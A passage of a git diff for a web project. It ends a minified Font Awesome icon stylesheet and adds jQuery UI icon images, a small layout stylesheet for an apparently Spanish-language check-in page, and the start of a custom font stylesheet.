ins:before{content:"\f3b6"}.fa-joget:before{content:"\f3b7"}.fa-joint:before{content:"\f595"}.fa-joomla:before{content:"\f1aa"}.fa-journal-whills:before{content:"\f66a"}.fa-js:before{content:"\f3b8"}.fa-js-square:before{content:"\f3b9"}.fa-jsfiddle:before{content:"\f1cc"}.fa-kaaba:before{content:"\f66b"}.fa-kaggle:before{content:"\f5fa"}.fa-key:before{content:"\f084"}.fa-keybase:before{content:"\f4f5"}.fa-keyboard:before{content:"\f11c"}.fa-keycdn:before{content:"\f3ba"}.fa-khanda:before{content:"\f66d"}.fa-kickstarter:before{content:"\f3bb"}.fa-kickstarter-k:before{content:"\f3bc"}.fa-kiss:before{content:"\f596"}.fa-kiss-beam:before{content:"\f597"}.fa-kiss-wink-heart:before{content:"\f598"}.fa-kiwi-bird:before{content:"\f535"}.fa-korvue:before{content:"\f42f"}.fa-landmark:before{content:"\f66f"}.fa-language:before{content:"\f1ab"}.fa-laptop:before{content:"\f109"}.fa-laptop-code:before{content:"\f5fc"}.fa-laravel:before{content:"\f3bd"}.fa-lastfm:before{content:"\f202"}.fa-lastfm-square:before{content:"\f203"}.fa-laugh:before{content:"\f599"}.fa-laugh-beam:before{content:"\f59a"}.fa-laugh-squint:before{content:"\f59b"}.fa-laugh-wink:before{content:"\f59c"}.fa-layer-group:before{content:"\f5fd"}.fa-leaf:before{content:"\f06c"}.fa-leanpub:before{content:"\f212"}.fa-lemon:before{content:"\f094"}.fa-less:before{content:"\f41d"}.fa-less-than:before{content:"\f536"}.fa-less-than-equal:before{content:"\f537"}.fa-level-down-alt:before{content:"\f3be"}.fa-level-up-alt:before{content:"\f3bf"}.fa-life-ring:before{content:"\f1cd"}.fa-lightbulb:before{content:"\f0eb"}.fa-line:before{content:"\f3c0"}.fa-link:before{content:"\f0c1"}.fa-linkedin:before{content:"\f08c"}.fa-linkedin-in:before{content:"\f0e1"}.fa-linode:before{content:"\f2b8"}.fa-linux:before{content:"\f17c"}.fa-lira-sign:before{content:"\f195"}.fa-list:before{content:"\f03a"}.fa-list-alt:before{content:"\f022"}.fa-list-ol:before{content:"\f0cb"}.fa-list-ul:before{content:"\f0ca"}.fa-location-arrow:before{content:"\f124"}.fa-lock:before{content:"\f023"}.fa-lock-open:before{content:"\f3c1"}.fa-long-arrow-alt-down:before{content:"\f309"}.fa-long-arrow-alt-left:before{content:"\f30a"}.fa-long-arrow-alt-right:before{content:"\f30b"}.fa-long-arrow-alt-up:before{content:"\f30c"}.fa-low-vision:before{content:"\f2a8"}.fa-luggage-cart:before{content:"\f59d"}.fa-lyft:before{content:"\f3c3"}.fa-magento:before{content:"\f3c4"}.fa-magic:before{content:"\f0d0"}.fa-magnet:before{content:"\f076"}.fa-mail-bulk:before{content:"\f674"}.fa-mailchimp:before{content:"\f59e"}.fa-male:before{content:"\f183"}.fa-mandalorian:before{content:"\f50f"}.fa-map:before{content:"\f279"}.fa-map-marked:before{content:"\f59f"}.fa-map-marked-alt:before{content:"\f5a0"}.fa-map-marker:before{content:"\f041"}.fa-map-marker-alt:before{content:"\f3c5"}.fa-map-pin:before{content:"\f276"}.fa-map-signs:before{content:"\f277"}.fa-markdown:before{content:"\f60f"}.fa-marker:before{content:"\f5a1"}.fa-mars:before{content:"\f222"}.fa-mars-double:before{content:"\f227"}.fa-mars-stroke:before{content:"\f229"}.fa-mars-stroke-h:before{content:"\f22b"}.fa-mars-stroke-v:before{content:"\f22a"}.fa-mask:before{content:"\f6fa"}.fa-mastodon:before{content:"\f4f6"}.fa-maxcdn:before{content:"\f136"}.fa-medal:before{content:"\f5a2"}.fa-medapps:before{content:"\f3c6"}.fa-medium:before{content:"\f23a"}.fa-medium-m:before{content:"\f3c7"}.fa-medkit:before{content:"\f0fa"}.fa-medrt:before{content:"\f3c8"}.fa-meetup:before{content:"\f2e0"}.fa-megaport:before{content:"\f5a3"}.fa-meh:before{content:"\f11a"}.fa-meh-blank:before{content:"\f5a4"}.fa-meh-rolling-eyes:before{content:"\f5a5"}.fa-memory:before{content:"\f538"}.fa-menorah:before{content:"\f676"}.fa-mercury:before{content:"\f223"}.fa-meteor:before{content:"\f753"}.fa-microchip:before{content:"\f2db"}.fa-microphone:before{content:"\f130"}.fa-microphone-alt:before{content:"\f3c9"}.fa-microphone-alt-slash:before{content:"\f539"}.fa-microphone-slash:before{content:"\f131"}.fa-microscope:before{content:"\f610"}.fa-microsoft:before{content:"\f3ca"}.fa-minus:before{content:"\f068"}.fa-minus-circle:before{content:"\f056"}.fa-minus-square:before{content:"\f146"}.fa-mix:before{content:"\f3cb"}.fa-mixcloud:before{content:"\f289"}.fa-mizuni:before{content:"\f3cc"}.fa-mobile:before{content:"\f10b"}.fa-mobile-alt:before{content:"\f3cd"}.fa-modx:before{content:"\f285"}.fa-monero:before{content:"\f3d0"}.fa-money-bill:before{content:"\f0d6"}.fa-money-bill-alt:before{content:"\f3d1"}.fa-money-bill-wave:before{content:"\f53a"}.fa-money-bill-wave-alt:before{content:"\f53b"}.fa-money-check:before{content:"\f53c"}.fa-money-check-alt:before{content:"\f53d"}.fa-monument:before{content:"\f5a6"}.fa-moon:before{content:"\f186"}.fa-mortar-pestle:before{content:"\f5a7"}.fa-mosque:before{content:"\f678"}.fa-motorcycle:before{content:"\f21c"}.fa-mountain:before{content:"\f6fc"}.fa-mouse-pointer:before{content:"\f245"}.fa-music:before{content:"\f001"}.fa-napster:before{content:"\f3d2"}.fa-neos:before{content:"\f612"}.fa-network-wired:before{content:"\f6ff"}.fa-neuter:before{content:"\f22c"}.fa-newspaper:before{content:"\f1ea"}.fa-nimblr:before{content:"\f5a8"}.fa-nintendo-switch:before{content:"\f418"}.fa-node:before{content:"\f419"}.fa-node-js:before{content:"\f3d3"}.fa-not-equal:before{content:"\f53e"}.fa-notes-medical:before{content:"\f481"}.fa-npm:before{content:"\f3d4"}.fa-ns8:before{content:"\f3d5"}.fa-nutritionix:before{content:"\f3d6"}.fa-object-group:before{content:"\f247"}.fa-object-ungroup:before{content:"\f248"}.fa-odnoklassniki:before{content:"\f263"}.fa-odnoklassniki-square:before{content:"\f264"}.fa-oil-can:before{content:"\f613"}.fa-old-republic:before{content:"\f510"}.fa-om:before{content:"\f679"}.fa-opencart:before{content:"\f23d"}.fa-openid:before{content:"\f19b"}.fa-opera:before{content:"\f26a"}.fa-optin-monster:before{content:"\f23c"}.fa-osi:before{content:"\f41a"}.fa-otter:before{content:"\f700"}.fa-outdent:before{content:"\f03b"}.fa-page4:before{content:"\f3d7"}.fa-pagelines:before{content:"\f18c"}.fa-paint-brush:before{content:"\f1fc"}.fa-paint-roller:before{content:"\f5aa"}.fa-palette:before{content:"\f53f"}.fa-palfed:before{content:"\f3d8"}.fa-pallet:before{content:"\f482"}.fa-paper-plane:before{content:"\f1d8"}.fa-paperclip:before{content:"\f0c6"}.fa-parachute-box:before{content:"\f4cd"}.fa-paragraph:before{content:"\f1dd"}.fa-parking:before{content:"\f540"}.fa-passport:before{content:"\f5ab"}.fa-pastafarianism:before{content:"\f67b"}.fa-paste:before{content:"\f0ea"}.fa-patreon:before{content:"\f3d9"}.fa-pause:before{content:"\f04c"}.fa-pause-circle:before{content:"\f28b"}.fa-paw:before{content:"\f1b0"}.fa-paypal:before{content:"\f1ed"}.fa-peace:before{content:"\f67c"}.fa-pen:before{content:"\f304"}.fa-pen-alt:before{content:"\f305"}.fa-pen-fancy:before{content:"\f5ac"}.fa-pen-nib:before{content:"\f5ad"}.fa-pen-square:before{content:"\f14b"}.fa-pencil-alt:before{content:"\f303"}.fa-pencil-ruler:before{content:"\f5ae"}.fa-penny-arcade:before{content:"\f704"}.fa-people-carry:before{content:"\f4ce"}.fa-percent:before{content:"\f295"}.fa-percentage:before{content:"\f541"}.fa-periscope:before{content:"\f3da"}.fa-person-booth:before{content:"\f756"}.fa-phabricator:before{content:"\f3db"}.fa-phoenix-framework:before{content:"\f3dc"}.fa-phoenix-squadron:before{content:"\f511"}.fa-phone:before{content:"\f095"}.fa-phone-slash:before{content:"\f3dd"}.fa-phone-square:before{content:"\f098"}.fa-phone-volume:before{content:"\f2a0"}.fa-php:before{content:"\f457"}.fa-pied-piper:before{content:"\f2ae"}.fa-pied-piper-alt:before{content:"\f1a8"}.fa-pied-piper-hat:before{content:"\f4e5"}.fa-pied-piper-pp:before{content:"\f1a7"}.fa-piggy-bank:before{content:"\f4d3"}.fa-pills:before{content:"\f484"}.fa-pinterest:before{content:"\f0d2"}.fa-pinterest-p:before{content:"\f231"}.fa-pinterest-square:before{content:"\f0d3"}.fa-place-of-worship:before{content:"\f67f"}.fa-plane:before{content:"\f072"}.fa-plane-arrival:before{content:"\f5af"}.fa-plane-departure:before{content:"\f5b0"}.fa-play:before{content:"\f04b"}.fa-play-circle:before{content:"\f144"}.fa-playstation:before{content:"\f3df"}.fa-plug:before{content:"\f1e6"}.fa-plus:before{content:"\f067"}.fa-plus-circle:before{content:"\f055"}.fa-plus-square:before{content:"\f0fe"}.fa-podcast:before{content:"\f2ce"}.fa-poll:before{content:"\f681"}.fa-poll-h:before{content:"\f682"}.fa-poo:before{content:"\f2fe"}.fa-poo-storm:before{content:"\f75a"}.fa-poop:before{content:"\f619"}.fa-portrait:before{content:"\f3e0"}.fa-pound-sign:before{content:"\f154"}.fa-power-off:before{content:"\f011"}.fa-pray:before{content:"\f683"}.fa-praying-hands:before{content:"\f684"}.fa-prescription:before{content:"\f5b1"}.fa-prescription-bottle:before{content:"\f485"}.fa-prescription-bottle-alt:before{content:"\f486"}.fa-print:before{content:"\f02f"}.fa-procedures:before{content:"\f487"}.fa-product-hunt:before{content:"\f288"}.fa-project-diagram:before{content:"\f542"}.fa-pushed:before{content:"\f3e1"}.fa-puzzle-piece:before{content:"\f12e"}.fa-python:before{content:"\f3e2"}.fa-qq:before{content:"\f1d6"}.fa-qrcode:before{content:"\f029"}.fa-question:before{content:"\f128"}.fa-question-circle:before{content:"\f059"}.fa-quidditch:before{content:"\f458"}.fa-quinscape:before{content:"\f459"}.fa-quora:before{content:"\f2c4"}.fa-quote-left:before{content:"\f10d"}.fa-quote-right:before{content:"\f10e"}.fa-quran:before{content:"\f687"}.fa-r-project:before{content:"\f4f7"}.fa-rainbow:before{content:"\f75b"}.fa-random:before{content:"\f074"}.fa-ravelry:before{content:"\f2d9"}.fa-react:before{content:"\f41b"}.fa-reacteurope:before{content:"\f75d"}.fa-readme:before{content:"\f4d5"}.fa-rebel:before{content:"\f1d0"}.fa-receipt:before{content:"\f543"}.fa-recycle:before{content:"\f1b8"}.fa-red-river:before{content:"\f3e3"}.fa-reddit:before{content:"\f1a1"}.fa-reddit-alien:before{content:"\f281"}.fa-reddit-square:before{content:"\f1a2"}.fa-redo:before{content:"\f01e"}.fa-redo-alt:before{content:"\f2f9"}.fa-registered:before{content:"\f25d"}.fa-renren:before{content:"\f18b"}.fa-reply:before{content:"\f3e5"}.fa-reply-all:before{content:"\f122"}.fa-replyd:before{content:"\f3e6"}.fa-republican:before{content:"\f75e"}.fa-researchgate:before{content:"\f4f8"}.fa-resolving:before{content:"\f3e7"}.fa-retweet:before{content:"\f079"}.fa-rev:before{content:"\f5b2"}.fa-ribbon:before{content:"\f4d6"}.fa-ring:before{content:"\f70b"}.fa-road:before{content:"\f018"}.fa-robot:before{content:"\f544"}.fa-rocket:before{content:"\f135"}.fa-rocketchat:before{content:"\f3e8"}.fa-rockrms:before{content:"\f3e9"}.fa-route:before{content:"\f4d7"}.fa-rss:before{content:"\f09e"}.fa-rss-square:before{content:"\f143"}.fa-ruble-sign:before{content:"\f158"}.fa-ruler:before{content:"\f545"}.fa-ruler-combined:before{content:"\f546"}.fa-ruler-horizontal:before{content:"\f547"}.fa-ruler-vertical:before{content:"\f548"}.fa-running:before{content:"\f70c"}.fa-rupee-sign:before{content:"\f156"}.fa-sad-cry:before{content:"\f5b3"}.fa-sad-tear:before{content:"\f5b4"}.fa-safari:before{content:"\f267"}.fa-sass:before{content:"\f41e"}.fa-save:before{content:"\f0c7"}.fa-schlix:before{content:"\f3ea"}.fa-school:before{content:"\f549"}.fa-screwdriver:before{content:"\f54a"}.fa-scribd:before{content:"\f28a"}.fa-scroll:before{content:"\f70e"}.fa-search:before{content:"\f002"}.fa-search-dollar:before{content:"\f688"}.fa-search-location:before{content:"\f689"}.fa-search-minus:before{content:"\f010"}.fa-search-plus:before{content:"\f00e"}.fa-searchengin:before{content:"\f3eb"}.fa-seedling:before{content:"\f4d8"}.fa-sellcast:before{content:"\f2da"}.fa-sellsy:before{content:"\f213"}.fa-server:before{content:"\f233"}.fa-servicestack:before{content:"\f3ec"}.fa-shapes:before{content:"\f61f"}.fa-share:before{content:"\f064"}.fa-share-alt:before{content:"\f1e0"}.fa-share-alt-square:before{content:"\f1e1"}.fa-share-square:before{content:"\f14d"}.fa-shekel-sign:before{content:"\f20b"}.fa-shield-alt:before{content:"\f3ed"}.fa-ship:before{content:"\f21a"}.fa-shipping-fast:before{content:"\f48b"}.fa-shirtsinbulk:before{content:"\f214"}.fa-shoe-prints:before{content:"\f54b"}.fa-shopping-bag:before{content:"\f290"}.fa-shopping-basket:before{content:"\f291"}.fa-shopping-cart:before{content:"\f07a"}.fa-shopware:before{content:"\f5b5"}.fa-shower:before{content:"\f2cc"}.fa-shuttle-van:before{content:"\f5b6"}.fa-sign:before{content:"\f4d9"}.fa-sign-in-alt:before{content:"\f2f6"}.fa-sign-language:before{content:"\f2a7"}.fa-sign-out-alt:before{content:"\f2f5"}.fa-signal:before{content:"\f012"}.fa-signature:before{content:"\f5b7"}.fa-simplybuilt:before{content:"\f215"}.fa-sistrix:before{content:"\f3ee"}.fa-sitemap:before{content:"\f0e8"}.fa-sith:before{content:"\f512"}.fa-skull:before{content:"\f54c"}.fa-skull-crossbones:before{content:"\f714"}.fa-skyatlas:before{content:"\f216"}.fa-skype:before{content:"\f17e"}.fa-slack:before{content:"\f198"}.fa-slack-hash:before{content:"\f3ef"}.fa-slash:before{content:"\f715"}.fa-sliders-h:before{content:"\f1de"}.fa-slideshare:before{content:"\f1e7"}.fa-smile:before{content:"\f118"}.fa-smile-beam:before{content:"\f5b8"}.fa-smile-wink:before{content:"\f4da"}.fa-smog:before{content:"\f75f"}.fa-smoking:before{content:"\f48d"}.fa-smoking-ban:before{content:"\f54d"}.fa-snapchat:before{content:"\f2ab"}.fa-snapchat-ghost:before{content:"\f2ac"}.fa-snapchat-square:before{content:"\f2ad"}.fa-snowflake:before{content:"\f2dc"}.fa-socks:before{content:"\f696"}.fa-solar-panel:before{content:"\f5ba"}.fa-sort:before{content:"\f0dc"}.fa-sort-alpha-down:before{content:"\f15d"}.fa-sort-alpha-up:before{content:"\f15e"}.fa-sort-amount-down:before{content:"\f160"}.fa-sort-amount-up:before{content:"\f161"}.fa-sort-down:before{content:"\f0dd"}.fa-sort-numeric-down:before{content:"\f162"}.fa-sort-numeric-up:before{content:"\f163"}.fa-sort-up:before{content:"\f0de"}.fa-soundcloud:before{content:"\f1be"}.fa-spa:before{content:"\f5bb"}.fa-space-shuttle:before{content:"\f197"}.fa-speakap:before{content:"\f3f3"}.fa-spider:before{content:"\f717"}.fa-spinner:before{content:"\f110"}.fa-splotch:before{content:"\f5bc"}.fa-spotify:before{content:"\f1bc"}.fa-spray-can:before{content:"\f5bd"}.fa-square:before{content:"\f0c8"}.fa-square-full:before{content:"\f45c"}.fa-square-root-alt:before{content:"\f698"}.fa-squarespace:before{content:"\f5be"}.fa-stack-exchange:before{content:"\f18d"}.fa-stack-overflow:before{content:"\f16c"}.fa-stamp:before{content:"\f5bf"}.fa-star:before{content:"\f005"}.fa-star-and-crescent:before{content:"\f699"}.fa-star-half:before{content:"\f089"}.fa-star-half-alt:before{content:"\f5c0"}.fa-star-of-david:before{content:"\f69a"}.fa-star-of-life:before{content:"\f621"}.fa-staylinked:before{content:"\f3f5"}.fa-steam:before{content:"\f1b6"}.fa-steam-square:before{content:"\f1b7"}.fa-steam-symbol:before{content:"\f3f6"}.fa-step-backward:before{content:"\f048"}.fa-step-forward:before{content:"\f051"}.fa-stethoscope:before{content:"\f0f1"}.fa-sticker-mule:before{content:"\f3f7"}.fa-sticky-note:before{content:"\f249"}.fa-stop:before{content:"\f04d"}.fa-stop-circle:before{content:"\f28d"}.fa-stopwatch:before{content:"\f2f2"}.fa-store:before{content:"\f54e"}.fa-store-alt:before{content:"\f54f"}.fa-strava:before{content:"\f428"}.fa-stream:before{content:"\f550"}.fa-street-view:before{content:"\f21d"}.fa-strikethrough:before{content:"\f0cc"}.fa-stripe:before{content:"\f429"}.fa-stripe-s:before{content:"\f42a"}.fa-stroopwafel:before{content:"\f551"}.fa-studiovinari:before{content:"\f3f8"}.fa-stumbleupon:before{content:"\f1a4"}.fa-stumbleupon-circle:before{content:"\f1a3"}.fa-subscript:before{content:"\f12c"}.fa-subway:before{content:"\f239"}.fa-suitcase:before{content:"\f0f2"}.fa-suitcase-rolling:before{content:"\f5c1"}.fa-sun:before{content:"\f185"}.fa-superpowers:before{content:"\f2dd"}.fa-superscript:before{content:"\f12b"}.fa-supple:before{content:"\f3f9"}.fa-surprise:before{content:"\f5c2"}.fa-swatchbook:before{content:"\f5c3"}.fa-swimmer:before{content:"\f5c4"}.fa-swimming-pool:before{content:"\f5c5"}.fa-synagogue:before{content:"\f69b"}.fa-sync:before{content:"\f021"}.fa-sync-alt:before{content:"\f2f1"}.fa-syringe:before{content:"\f48e"}.fa-table:before{content:"\f0ce"}.fa-table-tennis:before{content:"\f45d"}.fa-tablet:before{content:"\f10a"}.fa-tablet-alt:before{content:"\f3fa"}.fa-tablets:before{content:"\f490"}.fa-tachometer-alt:before{content:"\f3fd"}.fa-tag:before{content:"\f02b"}.fa-tags:before{content:"\f02c"}.fa-tape:before{content:"\f4db"}.fa-tasks:before{content:"\f0ae"}.fa-taxi:before{content:"\f1ba"}.fa-teamspeak:before{content:"\f4f9"}.fa-teeth:before{content:"\f62e"}.fa-teeth-open:before{content:"\f62f"}.fa-telegram:before{content:"\f2c6"}.fa-telegram-plane:before{content:"\f3fe"}.fa-temperature-high:before{content:"\f769"}.fa-temperature-low:before{content:"\f76b"}.fa-tencent-weibo:before{content:"\f1d5"}.fa-terminal:before{content:"\f120"}.fa-text-height:before{content:"\f034"}.fa-text-width:before{content:"\f035"}.fa-th:before{content:"\f00a"}.fa-th-large:before{content:"\f009"}.fa-th-list:before{content:"\f00b"}.fa-the-red-yeti:before{content:"\f69d"}.fa-theater-masks:before{content:"\f630"}.fa-themeco:before{content:"\f5c6"}.fa-themeisle:before{content:"\f2b2"}.fa-thermometer:before{content:"\f491"}.fa-thermometer-empty:before{content:"\f2cb"}.fa-thermometer-full:before{content:"\f2c7"}.fa-thermometer-half:before{content:"\f2c9"}.fa-thermometer-quarter:before{content:"\f2ca"}.fa-thermometer-three-quarters:before{content:"\f2c8"}.fa-think-peaks:before{content:"\f731"}.fa-thumbs-down:before{content:"\f165"}.fa-thumbs-up:before{content:"\f164"}.fa-thumbtack:before{content:"\f08d"}.fa-ticket-alt:before{content:"\f3ff"}.fa-times:before{content:"\f00d"}.fa-times-circle:before{content:"\f057"}.fa-tint:before{content:"\f043"}.fa-tint-slash:before{content:"\f5c7"}.fa-tired:before{content:"\f5c8"}.fa-toggle-off:before{content:"\f204"}.fa-toggle-on:before{content:"\f205"}.fa-toilet-paper:before{content:"\f71e"}.fa-toolbox:before{content:"\f552"}.fa-tooth:before{content:"\f5c9"}.fa-torah:before{content:"\f6a0"}.fa-torii-gate:before{content:"\f6a1"}.fa-tractor:before{content:"\f722"}.fa-trade-federation:before{content:"\f513"}.fa-trademark:before{content:"\f25c"}.fa-traffic-light:before{content:"\f637"}.fa-train:before{content:"\f238"}.fa-transgender:before{content:"\f224"}.fa-transgender-alt:before{content:"\f225"}.fa-trash:before{content:"\f1f8"}.fa-trash-alt:before{content:"\f2ed"}.fa-tree:before{content:"\f1bb"}.fa-trello:before{content:"\f181"}.fa-tripadvisor:before{content:"\f262"}.fa-trophy:before{content:"\f091"}.fa-truck:before{content:"\f0d1"}.fa-truck-loading:before{content:"\f4de"}.fa-truck-monster:before{content:"\f63b"}.fa-truck-moving:before{content:"\f4df"}.fa-truck-pickup:before{content:"\f63c"}.fa-tshirt:before{content:"\f553"}.fa-tty:before{content:"\f1e4"}.fa-tumblr:before{content:"\f173"}.fa-tumblr-square:before{content:"\f174"}.fa-tv:before{content:"\f26c"}.fa-twitch:before{content:"\f1e8"}.fa-twitter:before{content:"\f099"}.fa-twitter-square:before{content:"\f081"}.fa-typo3:before{content:"\f42b"}.fa-uber:before{content:"\f402"}.fa-uikit:before{content:"\f403"}.fa-umbrella:before{content:"\f0e9"}.fa-umbrella-beach:before{content:"\f5ca"}.fa-underline:before{content:"\f0cd"}.fa-undo:before{content:"\f0e2"}.fa-undo-alt:before{content:"\f2ea"}.fa-uniregistry:before{content:"\f404"}.fa-universal-access:before{content:"\f29a"}.fa-university:before{content:"\f19c"}.fa-unlink:before{content:"\f127"}.fa-unlock:before{content:"\f09c"}.fa-unlock-alt:before{content:"\f13e"}.fa-untappd:before{content:"\f405"}.fa-upload:before{content:"\f093"}.fa-usb:before{content:"\f287"}.fa-user:before{content:"\f007"}.fa-user-alt:before{content:"\f406"}.fa-user-alt-slash:before{content:"\f4fa"}.fa-user-astronaut:before{content:"\f4fb"}.fa-user-check:before{content:"\f4fc"}.fa-user-circle:before{content:"\f2bd"}.fa-user-clock:before{content:"\f4fd"}.fa-user-cog:before{content:"\f4fe"}.fa-user-edit:before{content:"\f4ff"}.fa-user-friends:before{content:"\f500"}.fa-user-graduate:before{content:"\f501"}.fa-user-injured:before{content:"\f728"}.fa-user-lock:before{content:"\f502"}.fa-user-md:before{content:"\f0f0"}.fa-user-minus:before{content:"\f503"}.fa-user-ninja:before{content:"\f504"}.fa-user-plus:before{content:"\f234"}.fa-user-secret:before{content:"\f21b"}.fa-user-shield:before{content:"\f505"}.fa-user-slash:before{content:"\f506"}.fa-user-tag:before{content:"\f507"}.fa-user-tie:before{content:"\f508"}.fa-user-times:before{content:"\f235"}.fa-users:before{content:"\f0c0"}.fa-users-cog:before{content:"\f509"}.fa-ussunnah:before{content:"\f407"}.fa-utensil-spoon:before{content:"\f2e5"}.fa-utensils:before{content:"\f2e7"}.fa-vaadin:before{content:"\f408"}.fa-vector-square:before{content:"\f5cb"}.fa-venus:before{content:"\f221"}.fa-venus-double:before{content:"\f226"}.fa-venus-mars:before{content:"\f228"}.fa-viacoin:before{content:"\f237"}.fa-viadeo:before{content:"\f2a9"}.fa-viadeo-square:before{content:"\f2aa"}.fa-vial:before{content:"\f492"}.fa-vials:before{content:"\f493"}.fa-viber:before{content:"\f409"}.fa-video:before{content:"\f03d"}.fa-video-slash:before{content:"\f4e2"}.fa-vihara:before{content:"\f6a7"}.fa-vimeo:before{content:"\f40a"}.fa-vimeo-square:before{content:"\f194"}.fa-vimeo-v:before{content:"\f27d"}.fa-vine:before{content:"\f1ca"}.fa-vk:before{content:"\f189"}.fa-vnv:before{content:"\f40b"}.fa-volleyball-ball:before{content:"\f45f"}.fa-volume-down:before{content:"\f027"}.fa-volume-mute:before{content:"\f6a9"}.fa-volume-off:before{content:"\f026"}.fa-volume-up:before{content:"\f028"}.fa-vote-yea:before{content:"\f772"}.fa-vr-cardboard:before{content:"\f729"}.fa-vuejs:before{content:"\f41f"}.fa-walking:before{content:"\f554"}.fa-wallet:before{content:"\f555"}.fa-warehouse:before{content:"\f494"}.fa-water:before{content:"\f773"}.fa-weebly:before{content:"\f5cc"}.fa-weibo:before{content:"\f18a"}.fa-weight:before{content:"\f496"}.fa-weight-hanging:before{content:"\f5cd"}.fa-weixin:before{content:"\f1d7"}.fa-whatsapp:before{content:"\f232"}.fa-whatsapp-square:before{content:"\f40c"}.fa-wheelchair:before{content:"\f193"}.fa-whmcs:before{content:"\f40d"}.fa-wifi:before{content:"\f1eb"}.fa-wikipedia-w:before{content:"\f266"}.fa-wind:before{content:"\f72e"}.fa-window-close:before{content:"\f410"}.fa-window-maximize:before{content:"\f2d0"}.fa-window-minimize:before{content:"\f2d1"}.fa-window-restore:before{content:"\f2d2"}.fa-windows:before{content:"\f17a"}.fa-wine-bottle:before{content:"\f72f"}.fa-wine-glass:before{content:"\f4e3"}.fa-wine-glass-alt:before{content:"\f5ce"}.fa-wix:before{content:"\f5cf"}.fa-wizards-of-the-coast:before{content:"\f730"}.fa-wolf-pack-battalion:before{content:"\f514"}.fa-won-sign:before{content:"\f159"}.fa-wordpress:before{content:"\f19a"}.fa-wordpress-simple:before{content:"\f411"}.fa-wpbeginner:before{content:"\f297"}.fa-wpexplorer:before{content:"\f2de"}.fa-wpforms:before{content:"\f298"}.fa-wpressr:before{content:"\f3e4"}.fa-wrench:before{content:"\f0ad"}.fa-x-ray:before{content:"\f497"}.fa-xbox:before{content:"\f412"}.fa-xing:before{content:"\f168"}.fa-xing-square:before{content:"\f169"}.fa-y-combinator:before{content:"\f23b"}.fa-yahoo:before{content:"\f19e"}.fa-yandex:before{content:"\f413"}.fa-yandex-international:before{content:"\f414"}.fa-yelp:before{content:"\f1e9"}.fa-yen-sign:before{content:"\f157"}.fa-yin-yang:before{content:"\f6ad"}.fa-yoast:before{content:"\f2b1"}.fa-youtube:before{content:"\f167"}.fa-youtube-square:before{content:"\f431"}.fa-zhihu:before{content:"\f63f"}.sr-only{border:0;clip:rect(0,0,0,0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.sr-only-focusable:active,.sr-only-focusable:focus{clip:auto;height:auto;margin:0;overflow:visible;position:static;width:auto}@font-face{font-family:"Font Awesome 5 Brands";font-style:normal;font-weight:normal;src:url(../fonts/fa/fa-brands-400.eot);src:url(../fonts/fa/fa-brands-400.eot?#iefix) format("embedded-opentype"),url(../fonts/fa/fa-brands-400.woff2) format("woff2"),url(../fonts/fa/fa-brands-400.woff) format("woff"),url(../fonts/fa/fa-brands-400.ttf) format("truetype"),url(../fonts/fa/fa-brands-400.svg#fontawesome) format("svg")}.fab{font-family:"Font Awesome 5 Brands"}@font-face{font-family:"Font Awesome 5 Free";font-style:normal;font-weight:400;src:url(../fonts/fa/fa-regular-400.eot);src:url(../fonts/fa/fa-regular-400.eot?#iefix) format("embedded-opentype"),url(../fonts/fa/fa-regular-400.woff2) format("woff2"),url(../fonts/fa/fa-regular-400.woff) format("woff"),url(../fonts/fa/fa-regular-400.ttf) format("truetype"),url(../fonts/fa/fa-regular-400.svg#fontawesome) format("svg")}.far{font-weight:400}@font-face{font-family:"Font Awesome 5 Free";font-style:normal;font-weight:900;src:url(../fonts/fa/fa-solid-900.eot);src:url(../fonts/fa/fa-solid-900.eot?#iefix) format("embedded-opentype"),url(../fonts/fa/fa-solid-900.woff2) format("woff2"),url(../fonts/fa/fa-solid-900.woff) format("woff"),url(../fonts/fa/fa-solid-900.ttf) format("truetype"),url(../fonts/fa/fa-solid-900.svg#fontawesome) format("svg")}.fa,.far,.fas{font-family:"Font Awesome 5 Free"}.fa,.fas{font-weight:900} \ No newline at end of file diff --git a/css/images/ui-icons_444444_256x240.png b/css/images/ui-icons_444444_256x240.png new file mode 100644 index 0000000..c2daae1 Binary files /dev/null and b/css/images/ui-icons_444444_256x240.png differ diff --git a/css/images/ui-icons_555555_256x240.png b/css/images/ui-icons_555555_256x240.png new file mode 100644 index 0000000..4784928 Binary files /dev/null and b/css/images/ui-icons_555555_256x240.png differ diff --git a/css/images/ui-icons_777620_256x240.png b/css/images/ui-icons_777620_256x240.png new file mode 100644 index 0000000..d2f58d2 Binary files /dev/null and b/css/images/ui-icons_777620_256x240.png differ diff --git a/css/images/ui-icons_777777_256x240.png b/css/images/ui-icons_777777_256x240.png new file mode 100644 index 0000000..1d53258 Binary files /dev/null and b/css/images/ui-icons_777777_256x240.png differ diff --git a/css/images/ui-icons_cc0000_256x240.png b/css/images/ui-icons_cc0000_256x240.png new file mode 100644 index 0000000..2825f20 Binary files /dev/null and b/css/images/ui-icons_cc0000_256x240.png differ diff --git a/css/images/ui-icons_ffffff_256x240.png b/css/images/ui-icons_ffffff_256x240.png new file mode 100644 index 0000000..136a4f9 Binary files /dev/null and b/css/images/ui-icons_ffffff_256x240.png differ diff --git a/css/index.css b/css/index.css new file mode 100644 index 0000000..6bb8215 --- /dev/null +++ b/css/index.css @@ -0,0 +1,30 @@ +/* +To change this license header, choose License Headers in Project Properties. +To change this template file, choose Tools | Templates +and open the template in the editor. +*/ +/* + Created on : 26/03/2020, 06:44:41 PM + Author : Ale +*/ +.content{height: 700px;background: url('../imagenes/fondochecador.jpg') no-repeat; object-fit: fit;} +.logSize{ width: 50% !important; max-width: 600px; } +.icon{ font-size:2rem; color: #001D68; } +.defaultShadow{ -webkit-box-shadow: 0 0 5px 1px rgba(150,150,150,.2); box-shadow: 0 0 5px 1px rgba(150,150,150,.2); } + +.btn-lg.arrow:after{margin-top:7px !important;} + +@media (max-width: 768px){ + .content{ + height: 400px; + } + .logSize{ + width: 90% !important; + } + .logSize h1{font-size: 2em;} +} +@media (max-height: 768px){ + .content{ + height: 500px; + } +} \ No newline at end of file diff --git a/css/indivisa.css b/css/indivisa.css new file mode 100644 index 0000000..59b9aa0 --- /dev/null +++ b/css/indivisa.css @@ -0,0 +1,492 @@ +/* + Created on : 5/12/2018, 01:25:27 PM + Author : Alejandro + Indivisa Fonts +*/ + +@font-face { + font-family: 'indivisa-title'; + src: url('../fonts/indivisaFont/eot/IndivisaTextSans-BoldItalic.eot'); + src: + url('../fonts/indivisaFont/woff/IndivisaTextSans-BoldItalic.woff'), + url('../fonts/indivisaFont/ttf/IndivisaTextSans-BoldItalic.ttf'), + 